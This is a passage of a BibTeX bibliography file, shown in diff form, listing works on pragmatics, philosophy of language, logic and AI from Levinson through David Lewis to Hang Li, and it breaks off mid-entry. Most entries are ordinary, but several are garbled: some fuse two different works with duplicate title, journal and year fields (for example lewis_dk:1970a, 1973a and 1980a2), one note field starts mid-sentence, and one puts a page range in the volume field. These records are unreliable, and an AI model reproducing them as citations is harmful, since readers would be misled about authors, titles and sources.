{Linguistics}, + year = {1979}, + volume = {17}, + number = {5/6}, + pages = {366--399}, + topic = {pragmatics;speech-acts;} + } + +@inproceedings{ levinson_sc:1979b, + author = {Stephen C. Levinson}, + title = {Pragmatics and Social Deixis}, + booktitle = {Proceedings of the Fifth Annual Meeting of the + {B}erkeley {L}inguistics {S}ociety}, + year = {1979}, + pages = {206--223}, + organization = {Berkeley Linguistics Society}, + publisher = {Berkeley Linguistics Society}, + address = {Linguistics Department, University of California at + Berkeley}, + topic = {deixis;sociolinguistics;pragmatics;} + } + +@article{ levinson_sc:1980a, + author = {Stephen C. Levinson}, + title = {Speech Act Theory: The State of the Art}, + journal = {Language and Linguistics Teaching: Abstracts}, + year = {1980}, + volume = {13}, + number = {1}, + pages = {5--24}, + topic = {pragmatics;speech-acts;} + } + +@incollection{ levinson_sc:1981a, + author = {Stephen C. Levinson}, + title = {The Essential Inadequacies of Speech Act Models of Dialogue}, + booktitle = {Possibilities and Limitations of Pragmatics: Proceedings + Of The Conference at Urbino, July 8--14, 1979}, + publisher = {John Benjamins Publishing Company}, + year = {1981}, + editor = {Herman Parret and M. Sbis\`a and Jef Verschueren}, + pages = {473--492}, + address = {Amsterdam}, + missinginfo = {E's 1st name.}, + topic = {speech-acts;discourse;discourse-analysis;pragmatics;} + } + +@article{ levinson_sc:1981b, + author = {Stephen C. Levinson}, + title = {Some Pre-Observations on the Modeling of Dialogue}, + journal = {Discourse Processes}, + year = {1981}, + volume = {4}, + number = {2}, + pages = {93--110}, + topic = {pragmatics;discourse;} + } + +@book{ levinson_sc:1983a, + author = {Stephen C. Levinson}, + title = {Pragmatics}, + publisher = {Cambridge University Press}, + year = {1983}, + address = {Cambridge, {E}ngland}, + topic = {pragmatics;} + } + +@incollection{ levinson_sc:1987a, + author = {Stephen C. Levinson}, + title = {Minimization and Conversational Inference}, + booktitle = {The Pragmatic Perspective}, + publisher = {Benjamins}, + year = {1987}, + editor = {Jef Verschueren and Marcella Bertuccelli-Papi}, + pages = {61--127}, + address = {Amsterdam}, + topic = {implicature;pragmatics;} + } + +@article{ levinson_sc:1987b, + author = {Stephen C. Levinson}, + title = {Implicature Explicated?}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {722--723}, + missinginfo = {number}, + topic = {implicature;relevance;} + } + +@article{ levinson_sc:1989a, + author = {Stephen C. Levinson}, + title = {Review of {\it Relevance}, by {D}an {S}perber and + {D}eirdre {W}ilson}, + journal = {Journal of Linguistics}, + year = {1989}, + volume = {25}, + pages = {455--472}, + missinginfo = {number}, + xref = {Review of sperber-wilson_d:1986a.}, + topic = {implicature;pragmatics;relevance-theory;context;} + } + +@unpublished{ levinson_sc:1991a, + author = {Steven C. Levinson}, + title = {Squib: The Fate of {JR}}, + year = {1991}, + note = {Unpublished manuscript.}, + missinginfo = {Year is a guess. I don't know if this was ever + published. It lumps Hobbs and me together on implicature + and criticizes.}, + topic = {implicature;pragmatics;accommodation;} + } + +@book{ levinson_sc:2001a, + author = {Steven C. Levinson}, + title = {Presumptive Meanings}, + publisher = {The {MIT} Press}, + year = {2001}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-12218-9}, + xref = {Review: green_nl:2001a.}, + xref = {Review: green_n:2001a.}, + topic = {implicature;} + } + +@book{ levitt:1999a, + author = {Norman Levitt}, + title = {Prometheus Bedeviled: Science and the Contradictions Of + Contemporary Culture}, + publisher = {Rutgers University Press}, + year = {1999}, + address = {New Brunswick, New Jersey}, + ISBN = {0813526523}, + topic = {science-and-contemporary-culturemmentary;} + } + +@article{ levitt_t-lawton:1990a, + author = {T. Levitt and D. Lawton}, + title = {Qualitative Navigation for Mobile Robots}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {305--360}, + pages = {305--360}, + missinginfo = {A's 1st name, number}, + topic = {motion-planning;spatial-reasoning;qualitative-reasoning;} + } + +@article{ levy_al-weld:2000a, + author = {Alon Y. Levy and Daniel S. Weld}, + title = {Intelligent Internet Systems}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {118}, + number = {1--2}, + pages = {1--14}, + topic = {AI-and-the-internet;AI-editorial;} + } + +@inproceedings{ levy_ay-sagiv:1993a, + author = {Alon Levy and Yehoshua Sagiv}, + title = {Exploiting Irrelevance Reasoning to Guide Problem Solving}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {138--144}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {theorem-proving;relevance;} + } + +@article{ levy_ay-etal:1997a, + author = {Alon Y. Levy and Richard E. Fikes and Yehoshua Sagiv}, + title = {Speeding up Inferences Using Relevance Reasoning: A + Formalism and Algorithms}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {83--136}, + topic = {relevance;AI-algorithms;} + } + +@article{ levy_ay-etal:1997b, + author = {Alon Y. Levy and Yumi Iwasaki and Richard Fikes}, + title = {Automated Model Selection for Simulation Based on + Relevance Reasoning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {96}, + number = {2}, + pages = {351--394}, + topic = {qualitative-simulation;model-construction;} + } + +@article{ levy_ay-rousset:1998a, + author = {Alon Y. Levy and Marie-Christine Rousset}, + title = {Verification of Knowledge Bases Based on Containment + Checking}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {101}, + number = {1--2}, + pages = {227--250}, + topic = {taxonomic-logics;knowledge-base-verification;} + } + +@article{ levy_ay-rousset:1998b, + author = {Alon A. Levy and Marie-Christine Rousset}, + title = {{CARIN}: A Representation Language Combining {H}orn Rules + and Description Logics}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {104}, + number = {1--2}, + pages = {165--209}, + topic = {kr;krcourse;extensions-of-kl1;logic-programming;} + } + +@inproceedings{ levy_ay:1999a, + author = {Alon Y. Levy}, + title = {Logic-Based Techniques in Data Integration}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {data-integration;} + } + +@incollection{ levy_ay:2000a, + author = {Alon Y. Levy}, + title = {Logic-Based Techniques in Data Integration}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {575--595}, + address = {Dordrecht}, + topic = {logic-in-AI;taxonomic-logics;knowledge-integration;} + } + +@incollection{ levy_f:1991a, + author = {F. L\'evy}, + title = {Computing Extensions of Default Logics}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {219--226}, + address = {Berlin}, + topic = {default-logic;} + } + +@book{ levy_m:1997a, + author = {Michael Levy}, + title = {Computer-Assisted Language Learning: Context and + Conceptualization}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + topic = {intelligent-computer-assisted-language-instruction;} + } + +@incollection{ lewin_i:1995a, + author = {Ian Lewin}, + title = {Indexical Dynamics}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {121--151}, + address = {Dordrecht}, + topic = {indexicals;nl-quantifiers;anaphora;ellipsis;dynamic-semantics; + context;} + } + +@article{ lewin_r-etal:1997a, + author = {Renato A. Lewin and Irene F. Mikenberg and Mar\'ia G. + Schwarze}, + title = {On the Algebraizability of Annotated Logics}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {3}, + pages = {359--386}, + topic = {annotated-logics;paraconsistency;} + } + +@book{ lewis_ci:1918a, + author = {Clarence I. Lewis}, + title = {Survey of Symbolic Logic}, + publisher = {Univeristy of California Press}, + year = {1918}, + address = {Berkeley, California}, + topic = {logic-classic;modal-logic;} + } + +@article{ lewis_ci:1923a, + author = {Clarence I. Lewis}, + title = {A Pragmatic Conception of the {\it A Priori}}, + journal = {Journal of Philosophy}, + year = {1923}, + volume = {20}, + number = {7}, + pages = {169--177}, + topic = {a-priori;} + } + +@article{ lewis_ci:1932a, + author = {Clarence I. Lewis}, + title = {Alternative Systems of Logic}, + journal = {The Monist}, + year = {1932}, + volume = {42}, + number = {4}, + pages = {481--507}, + topic = {philosophy-of-logic;} + } + +@article{ lewis_ci:1944a1, + author = {Clarence I. Lewis}, + title = {The Modes of Meaning}, + journal = {Philosophy and Phenomenological Research}, + year = {1944}, + volume = {4}, + missinginfo = {number, pages}, + xref = {Republication: lewis_ci:1944a2.}, + topic = {philosophy-of-language;intensionality;} + } + +@incollection{ lewis_ci:1944a2, + author = {Clarence I. Lewis}, + title = {The Modes of Meaning}, + booktitle = {Semantics and the Philosophy of Language}, + publisher = {University of Illinois Press}, + year = {1952}, + editor = {Leonard Linsky}, + pages = {50--63}, + address = {Urbana, Illinois}, + xref = {Republication of: lewis_ci:1944a1.}, + topic = {philosophy-of-language;intensionality;} + } + +@book{ lewis_ci:1946a, + author = {Clarence I. Lewis}, + title = {An Analysis of Knowledge and Valuation}, + publisher = {Open Court Publishing Co.}, + year = {1946}, + address = {LaSalle, Ilinois}, + topic = {epistemology;ethics;practical-reasoning;} + } + +@book{ lewis_ci-langford:1959a, + author = {Clarence I. Lewis and C.H. Langford}, + title = {Symbolic Logic}, + publisher = {Dover}, + year = {1959}, + address = {New York}, + edition = {2}, + topic = {modal-logic;} + } + +@book{ lewis_dk:1969a, + author = {David K. Lewis}, + title = {Convention: A Philosophical Study}, + publisher = {Harvard University Press}, + year = {1969}, + address = {Cambridge, Massachusetts}, + xref = {Review: grandy_re:1977a.}, + topic = {convention;mutual-beliefs; + game-theoretic-coordination;pragmatics;} + } + +@article{ lewis_dk:1969b, + author = {David K. Lewis}, + title = {Lucas against Mechanism}, + journal = {Philosophy}, + year = {1969}, + volume = {44}, + pages = {231--233}, + missinginfo = {number}, + topic = {philosophy-of-computation;goedels-first-theorem;} + } + +@article{ lewis_dk:1970a, + author = {David K. Lewis}, + title = {Anselm and Actuality}, + journal = {N\^{o}us}, + year = {1970}, + volume = {4}, + number = {2}, + pages = {175--188}, + title = {Analog and Digital}, + journal = {No\^us}, + year = {1971}, + volume = {3}, + number = {3}, + pages = {321--327}, + topic = {analog-digital;philosophy-of-representation;} + } + +@incollection{ lewis_dk:1972a1, + author = {David Lewis}, + title = {General Semantics}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {169--218}, + address = {Dordrecht}, + xref = {Republication: lewis_dk:1972a2}, + topic = {nl-semantics;intensionality;} + } + +@incollection{ lewis_dk:1972a2, + author = {David Lewis}, + title = {General Semantics}, + booktitle = {Montague Grammar}, + publisher = {Academic Press}, + year = {1976}, + editor = {Barbara H. Partee}, + pages = {1--50}, + address = {New York}, + topic = {nl-semantics;intensionality;} + } + +@book{ lewis_dk:1973a, + author = {David K. Lewis}, + title = {Counterfactuals}, + publisher = {Harvard University Press}, + year = {1973}, + address = {Cambridge, Massachusetts}, + xref = {Review: smart:1974a.}, + title = {Counterfactuals and Comparative Possibility}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {4}, + pages = {418--446}, + topic = {conditionals;} + } + +@article{ lewis_dk:1974a, + author = {David K. Lewis}, + title = {Intensional Logics without Iterative Axioms}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {4}, + pages = {457--466}, + topic = {modal-logic;} + } + +@article{ lewis_dk:1974b, + author = {David K. Lewis}, + title = {Radical Interpretation}, + journal = {Synth\'ese}, + year = {1974}, + volume = {48}, + pages = {331--344}, + missinginfo = {number}, + topic = {philosophy-of-language;radical-interpretation;} + } + +@incollection{ lewis_dk:1974c, + author = {David K. Lewis}, + title = {Semantic Analysis for Dyadic Deontic Logic}, + booktitle = {Logical Theory and Semantic Analysis: Essays Dedicated to + {S}tig {K}anger on His Fiftieth Birthday}, + publisher = {D. Reidel Publishing Co.}, + year = {1974}, + pages = {1--14}, + editor = {S\"oren Stedlund}, + address = {Dordrecht}, + topic = {deontic-logic;} + } + +@unpublished{ lewis_dk:1974d, + author = {David K. Lewis}, + title = {`{W}hether' Report}, + year = {1974}, + note = {Unpublished manuscript.}, + topic = {interrogatives;} + } + +@incollection{ lewis_dk:1975a, + author = {David K. Lewis}, + title = {Adverbs of Quantification}, + booktitle = {Formal Semantics of Natural Language}, + publisher = {Cambridge University Press}, + year = {1975}, + editor = {Edward L. Keenan}, + pages = {3--15}, + address = {Cambridge, England}, + topic = {quantification;foundations-of-semantics;} + } + +@incollection{ lewis_dk:1975b, + author = {David K. Lewis}, + title = {Languages and Language}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + editor = {Keith Gunderson}, + pages = {3--35}, + address = {Minneapolis, Minnesota}, + topic = {philosophy-of-language;convention;nl-semantics;} + } + +@article{ lewis_dk:1975c, + author = {David K. Lewis}, + title = {Probabilities of Conditionals and Conditional + Probabilities}, + journal = {The Philosophical Review}, + year = {1975}, + volume = {85}, + pages = {297--315}, + missinginfo = {number}, + topic = {cccp;conditionals;probability-semantics;} + } + +@incollection{ lewis_dk:1976a, + author = {David K. Lewis}, + title = {Survival and Identity}, + booktitle = {The Identity of Persons}, + publisher = {University of California Press}, + year = {1976}, + editor = {Amelie Rorty}, + address = {Los Angeles}, + missinginfo = {pages}, + topic = {personal-identity;} + } + +@article{ lewis_dk:1977a, + author = {David K. Lewis}, + title = {Causation}, + journal = {Journal of Philosophy}, + year = {1977}, + volume = {70}, + number = {17}, + pages = {566--567}, + note = {Reprinted in David K. Lewis, {\it Philosophical Papers.} vol. 2, + Oxford University Press, 1986, pp. 159--213. (Postscripts are added + in this reprinting.)}, + xref = {Commentary: berovsky:1973a, kim_j:1973b.}, + topic = {conditionals;causality;action-effects;} + } + +@article{ lewis_dk:1977b, + author = {David Lewis}, + title = {Possible-Worlds Semantics for Counterfactual Logics: + A Rejoinder}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {3}, + pages = {359--363}, + contentnote = {This is a (crushing) reply to ellis-etal:1977a.}, + topic = {conditionals;} + } + +@unpublished{ lewis_dk:1977c, + author = {David K. Lewis}, + title = {Gibbard-{H}arper Decision Theory with Chancy Outcomes}, + year = {1977}, + month = {May}, + note = {Unpublished manuscript, Philosophy Department, Princeton + University}, + topic = {causal-decision-theory;} + } + +@article{ lewis_dk:1978a, + author = {David K. Lewis}, + title = {Truth in Fiction}, + journal = {American Philosophical Quarterly}, + year = {1978}, + volume = {15}, + pages = {37--46}, + missinginfo = {number.}, + topic = {counterfactuals;world-building;fiction;} + } + +@unpublished{ lewis_dk:1978b, + author = {David K. Lewis}, + title = {The Hunter-Richter Paradox}, + year = {1978}, + note = {Unpublished manuscript, Philosophy Department, + Princeton University}, + topic = {foundations-of-decision-theory;causal-decision-theory;} + } + +@unpublished{ lewis_dk:1978c, + author = {David K. Lewis}, + title = {Chancy Causation}, + year = {1978}, + note = {Unpublished handout, Philosophy Department, + Princeton University}, + topic = {foundations-of-decision-theory;causality;} + } + +@article{ lewis_dk:1979a1, + author = {David K. Lewis}, + title = {Scorekeeping in a Language Game}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {3}, + pages = {339--359}, + topic = {nl-semantics;conversational-record;context;vagueness; + accommodation;skepticism;} + } + +@incollection{ lewis_dk:1979a2, + author = {David Lewis}, + title = {Scorekeeping in a Language Game}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {172--187}, + xref = {Other publication: 1979a1.}, + topic = {nl-semantics;conversational-record;context;vagueness; + accommodation;skepticism;} + } + +@article{ lewis_dk:1979b, + author = {David K. Lewis}, + title = {Counterfactual Dependence and Time's Arrow}, + journal = {No\^us}, + year = {1979}, + volume = {13}, + pages = {455--476}, + missinginfo = {number}, + topic = {conditionals;time-and-conditionals;temporal-direction;} + } + +@incollection{ lewis_dk:1979c, + author = {David K. Lewis}, + title = {A Problem about Permission}, + booktitle = {Essays in Honour of {J}aakko {H}intikka}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Esa Saarinen and Risto Hilpinen and Ilkka Niiniluoto and + Merrill Province Hintikka}, + address = {Dordrecht, Holland}, + missinginfo = {pages}, + topic = {counterfactuals;deontic-logic;} + } + +@article{ lewis_dk:1979d, + author = {David K. Lewis}, + title = {Attitudes {\em de Dicto} and {\em de Se}}, + journal = {The Philosophical Review}, + year = {1979}, + volume = {88}, + pages = {513--543}, + missinginfo = {number.}, + topic = {propositional-attitudes;indexicals;} + } + +@article{ lewis_dk:1979e, + author = {David K. Lewis}, + title = {Prisoner's Dilemma is a {N}ewcomb Problem}, + journal = {Philosophy and Public Affairs}, + year = {1979}, + volume = {8}, + number = {3}, + pages = {235--240}, + topic = {foundations-of-decision-theory;prisoner's-dilemma;} + } + +@unpublished{ lewis_dk:1979f, + author = {David K. Lewis}, + title = {Conditionals: Ordering Semantics \& {K}ratzer's Semantics}, + year = {1979}, + note = {Unpublished manuscript, Princeton University.}, + topic = {conditionals;} + } + +@incollection{ lewis_dk:1980a1, + author = {David K. Lewis}, + title = {A Subjectivist's Guide to Objective Chance}, + booktitle = {Studies in Inductive Logic and Probability}, + publisher = {University of California Press}, + year = {1980}, + editor = {Richard Jeffrey}, + Publishing, Dordrecht, Holland, 1981. Reprinted in David + Lewis, {\it Philosophical Papers.} vol 2, + Oxford University Press, 1986, pp. 114--132.}, + missinginfo = {pages}, + topic = {foundations-of-probability;branching-time;} + } + +@incollection{ lewis_dk:1980a2, + author = {David K. Lewis}, + title = {A Subjectivist's Guide to Objective Chance}, + booktitle = {Ifs: Conditionals, Belief, Decision, Chance, and Time}, + publisher = {D. Reidel Publishing Co.}, + year = {1980}, + editor = {William L. Harper and Robert Stalnaker and Glenn Pearce}, + pages = {267--297}, + address = {Dordrecht}, + title = {Causal Decision Theory}, + journal = {Australasian Journal of Philosophy}, + year = {1981}, + volume = {59}, + number = {1}, + pages = {5--30}, + xref = {Republished in lewis_dk:1986a. See lewis_dk:1981a2.}, + topic = {conditionals;decision-theory;causal-decision-theory; + Newcomb-problem;} + } + +@incollection{ lewis_dk:1981a2, + author = {David K. Lewis}, + title = {Causal Decision Theory}, + booktitle = {Philosophical Papers}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {David K. Lewis}, + pages = {305--339}, + address = {Oxford, England}, + xref = {Reprint of lewis_dk:1981a1}, + topic = {conditionals;decision-theory;causal-decision-theory;} + } + +@unpublished{ lewis_dk:1981b, + author = {David K. Lewis}, + title = {Individuation by Acquaintance and by Stipulation}, + year = {1981}, + note = {Unpublished manuscript, Philosophy Department, Princeton + University.}, + topic = {individuation;} + } + +@article{ lewis_dk:1981c, + author = {David K. Lewis}, + title = {Ordering Semantics and Premise Semantics for Conditionals}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {217--234}, + topic = {conditionals;} + } + +@incollection{ lewis_dk:1981d, + author = {David K. Lewis}, + title = {Index, Context and Content}, + booktitle = {Philosophy and Grammar}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + editor = {Stig Kanger and Sven \"Ohman}, + pages = {79--101}, + address = {Dordrecht}, + topic = {context;indexicals;} + } + +@article{ lewis_dk:1981e, + author = {David K. Lewis}, + title = {What Puzzling {P}ierre Does Not Believe}, + journal = {Australasian Journal of Philosophy}, + year = {1981}, + volume = {59}, + pages = {283--289}, + missinginfo = {number}, + topic = {belief;Pierre-puzzle;} + } + +@unpublished{ lewis_dk:1983a, + author = {David K. Lewis}, + title = {Richter's Problem}, + year = {1983}, + note = {Unpublished manuscript, Philosophy Department, Princeton + University.}, + topic = {foundations-of-decision-theory;resource-limited-game-theory;} + } + +@book{ lewis_dk:1983b, + author = {David K. Lewis}, + title = {Philosophical Papers}, + publisher = {Oxford University Press}, + year = {1983}, + volume = {2}, + address = {Oxford}, + topic = {analytic-philosophy;metaphysics;} + } + +@article{ lewis_dk:1983c, + author = {David K. Lewis}, + title = {Extrinsic Properties}, + journal = {Philosophical Studies}, + year = {1983}, + volume = {44}, + pages = {197--200}, + missinginfo = {number}, + topic = {internal/external-properties;} + } + +@incollection{ lewis_dk:1984a, + author = {David K. Lewis}, + title = {Individuation by Acquaintance and by Stipulation}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {219--244}, + address = {Dordrecht}, + topic = {individuation;philosophy-of-possible-worlds;} + } + +@book{ lewis_dk:1986a, + author = {David K. Lewis}, + title = {Philosophical Papers}, + publisher = {Oxford University Press}, + year = {1986}, + volume = {2}, + address = {Oxford}, + contentnote = {TC: 16. Counterfactuals and Comparative Possibility + 17. Counterfactual Dependence and Time's Arrow. + Postscripts to "Counterfactual Dependence and + Time's Arrow." + 18. The Paradoxes of time Travel + 18. A Subjectivist's Guide to Objective Chance + 20. Probabilities of Conditionals and Conditional + Probabilities + Postscripts to "Probabilities of Conditionals and + Conditional Probabilities" + 21. Causation + Postscripts to "Causation" + 22. Causal Explanation + Postscripts to "Causal Explanation" + 23. Events + 24. Veridical Hallucination and Prosthetic Vision + 25. Are We Free to Break the Laws? + 26. Prisoner's Dilemma is a Newcomb Problem + 27. Causal Decision Theory + Postscripts to "Causal Decision Theory" + 28. Utilitarianism and Truthfulness + } , + topic = {analytic-philosophy;} + } + +@incollection{ lewis_dk:1986b, + author = {David K. Lewis}, + title = {Causal Explanation}, + booktitle = {Philosophical Papers}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {David K. Lewis}, + pages = {214--240}, + address = {Oxford}, + topic = {causality;explanation;} + } + +@incollection{ lewis_dk:1986c, + author = {David Lewis}, + title = {Postscript to 'Probability of Conditionals and Conditional + Probabilities}, + booktitle = {Philosophical Papers}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {David K. Lewis}, + pages = {152--156}, + address = {Oxford, England}, + topic = {CCCP;conditionals;probability-kinematics;} + } + +@article{ lewis_dk:1988a1, + author = {David K. Lewis}, + title = {Vague Identity: {E}vans Misunderstood}, + journal = {Analysis}, + year = {1988}, + volume = {48}, + pages = {128--130}, + missinginfo = {number}, + xref = {Republication: lewis_dk:1988a2.}, + topic = {vagueness;identity;} + } + +@incollection{ lewis_dk:1988a2, + author = {David K. Lewis}, + title = {Vague Identity: {E}vans + Misunderstood}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {318--320}, + address = {Cambridge, Massachusetts}, + xref = {Republication of lewis_dk:1988a1.}, + topic = {vagueness;} + } + +@article{ lewis_dk:1989a, + author = {David K. Lewis}, + title = {Lucas against Mechanism {II}}, + journal = {Canadian Journal of Philosophy}, + year = {1989}, + volume = {9}, + pages = {120--124}, + missinginfo = {number}, + topic = {philosophy-of-computation;goedels-first-theorem;} + } + +@book{ lewis_dk:1998a, + editor = {David K. Lewis}, + title = {Papers in Philosophical Logic}, + publisher = {Cambridge University Press}, + year = {1998}, + address = {Cambridge, England}, + ISBN = {0521582474 (hardback)}, + xref = {Review: priest:2002a.}, + topic = {philosophical-logic;} + } + +@article{ lewis_dk-langton_r:1998a, + author = {David K. Lewis and R. Langton}, + title = {Defining Intrinsic}, + journal = {Philosophy and Phenomenological Research}, + year = {1998}, + volume = {58}, + pages = {333--345}, + missinginfo = {number}, + topic = {internal/external-properties;} + } + +@article{ lewis_dk-lewis_s:1998a, + author = {David K. Lewis and Stephanie Lewis}, + title = {Review of {\it Holes and Other Superficialities}, + by {R}oberto {C}asati and {A}chille {C}. {V}arzi}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {105}, + number = {1}, + pages = {77--79}, + xref = {Review of casati-varzi:1999a.}, + topic = {spatial-representation;philosophucal-ontology;mereology;} + } + +@book{ lewis_dk:1999a, + editor = {David K. Lewis}, + title = {Papers in Metaphysics and Epistemology}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {0521582482 (hardbound)}, + xref = {Reviews: armstrong_dm:2001a, priest:2002a.}, + topic = {metaphysics;epistemplogy;} + } + +@article{ lewis_dk:2000a, + author = {David Lewis}, + title = {Causation as Influence}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {4}, + pages = {181--197}, + topic = {causality;conditionals;} + } + +@book{ lewis_dk:2000b, + editor = {David K. Lewis}, + title = {Papers in Ethics and Social Theory}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + ISBN = {0-521-58249-0 (hardbound), 0-521-58786-7 (pbk)}, + xref = {Review: priest:2002a.}, + topic = {ethics;social-philosophy;deontic-logic;decision-theory;} + } + +@article{ lewis_dk:2001a, + author = {David K. Lewis}, + title = {Truthmaking and Difference-Making}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {4}, + pages = {602--615}, + topic = {truth;propositions;philosophy-of-possible-worlds;} + } + +@book{ lewis_hr-denenberg:1991a, + author = {Harry R. Lewis and Larry Denenberg}, + title = {Data Structures and Their Algorithms}, + publisher = {Harper Collins Publishers}, + year = {1991}, + address = {New York}, + topic = {algorithms;data-structures;} + } + +@techreport{ lewis_m:1986a, + author = {Michael Lewis}, + title = {The Automation of a Practical Reasoning System Based + on Concepts in Deontic Logic}, + institution = {Advanced Computational Methods Center, University + of Georgia}, + number = {01--0014}, + year = {1986}, + address = {Athens, Georgia}, + topic = {deontic-logic;practical-reasoning;qualitative-utility;} + } + +@article{ lewis_m:1998a, + author = {Michael Lewis}, + title = {Designing for Human-Agent Interaction}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {19}, + number = {2}, + pages = {67--78}, + topic = {autonomous-agents;HCI;} + } + +@phdthesis{ lewis_rl:1993a, + author = {Richard L. Lewis}, + title = {An Architecturally-Based Theory of Human Sentence + Comprehension}, + school = {Carnegie Mellon University}, + year = {1993}, + address = {Pittsburgh, Pennsylvania}, + note = {Available from Computer Science Department as Technical + Report CMU-CS-93-226}, + topic = {cognitive-architectures;nl-interpretation;} + } + +@incollection{ lewis_rl:1996a, + author = {Richard L. Lewis}, + title = {What {S}oar has to Say about Modularity}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {75--84}, + topic = {philosophy-of-linguistics;cognitive-modularity;NL-Soar;} + } + +@article{ leyton:1988a, + author = {Michael Leyton}, + title = {A Process-Grammar for Shape}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {34}, + number = {2}, + pages = {213--247}, + acontentnote = {Abstract: + Inference rules are developed by which process-history can be + recovered from natural shapes such as tumors, clouds, and + embryos, etc. We argue that the inference of history arises from + a newly discovered duality between curvature extrema and + symmetry structure. We also develop a formal grammar by which + someone, who has two views of an entity at two developmental + stages, can infer the processes that produced the second stage + from the first. More specifically, we find that a grammar, of + only six operations, suffices to express the relationship + between any two smooth shapes such that one shape is described + as the extrapolation of processes inferred in the other under + the above inference rules. In fact, a deformation is expressed + as a transformation of process-records -- a technique reminiscent + of Chomsky's description of linguistic transformations in terms + of transitions between phrase-structure trees. In the present + case, our process-grammar has the psychological role of + explaining the curvature extrema in terms of a sequence of + psychologically meaningful deformations. Finally, we compare a + process-based symmetry analysis, that we introduce in this + paper, with other symmetry analyses in the literature; and we + compare our process-based grammar with another grammar based on + curvature extrema. } , + topic = {process-recognition;extralinguistic-uses-of-grammars;} + } + +@book{ li_cn:1976a, + editor = {C.N. Li}, + title = {Subject and Topic}, + publisher = {Academic Press}, + year = {1976}, + address = {New York}, + topic = {s-topic;d-topic;pragmatics;} + } + +@incollection{ li_cn-thompson:1976a, + author = {C.N. Li and S.A. Thompson}, + title = {Subject and Topic: A New Typology of Language}, + booktitle = {Subject and Topic}, + publisher = {Academic Press}, + year = {1976}, + editor = {C.N. Li}, + pages = {457--489}, + address = {New York}, + missinginfo = {E's 1st name}, + topic = {s-topic;pragmatics;} + } + +@inproceedings{ li_h-yamanishi:1997a, + author = {Hang Li and Kenji Yamanishi}, + title = {Document Classification Using a Finite Mixture Model}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {39--47}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {document-classification;information-retrieval;nl-processing;} + } + +@article{ li_h-abe:1998a, + author = {Hang Li and Naoki Abe}, + title = {Generalizing Case Frames Using a Thesaurus and + the {MDI} Principle}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {217--244}, + topic = {word-acquisition;automatic-automatic-grammar-acquisition;} + } + +@article{ li_h-abe_n:1999a, + author = {Hang Li and Naoki Abe}, + title = {Learning Dependencies between Case Frame Slots}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {2}, + pages = {283--291}, + topic = {machine-language-learning;} + } + +@article{ 